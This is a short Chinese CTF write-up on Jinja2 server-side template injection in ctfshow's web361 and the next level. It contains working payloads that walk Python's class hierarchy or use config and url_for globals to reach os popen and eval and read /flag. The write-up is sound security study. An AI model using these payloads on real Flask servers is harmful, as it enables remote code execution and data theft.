CTFSHOW-SSTI

对ssti一直是粗略的了解,这里做点题巩固一下。

简单来说,SSTI 的最终目的是能够逃逸出 Jinja2的沙盒,然后执行任意的python代码。如果能够获取到 builitins 也就能得到了 python 的内建对象,也就可以调用 python 的任意内建函数了

在此之前可以看一下:flask之ssti模版注入从零到入门

web361

名字就是考点,应该是让我们传入一个name的参数,这里我们可以尝试一下ssti,发现确实存在ssti漏洞,回显为2。

1
http://0f42720e-9b61-4c31-b56a-6b0250d8aafe.challenge.ctf.show/?name={{1*2}}

tplmap一把梭即可,jinja的ssti。tplmap.

无任何过滤。

1
?name={{"".__class__.__mro__[1].__subclasses__()[132].__init__.__globals__['popen']("cat /flag").read()}}

上题的方法用不了了,{{''.__class__.__mro__[1].__subclasses__()[132]}},过滤了os._wrap_close

可以用{%%}来进行遍历和条件判断,让它指向os._wrap_close

1
2
3
4
5
{% for i in ''.__class__.__mro__[1].__subclasses__() %}
{% if i.__name__=='_wrap_close' %}
{% print i.__init__.__globals__['popen']('cat /flag').read() %}
{% endif %}
{% endfor %}

或者是利用已有函数找到builtins,然后直接直接从 builtins 的内置对象中取内置的 eval 函数

1
2
3
4
{{config.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('cat /flag').read()")}}

{{url_for.__globals__['__builtins__']['eval']("__import__('os').popen('cat /flag').read()")}}

当然还有很多rce的方法,self、request等等都可以。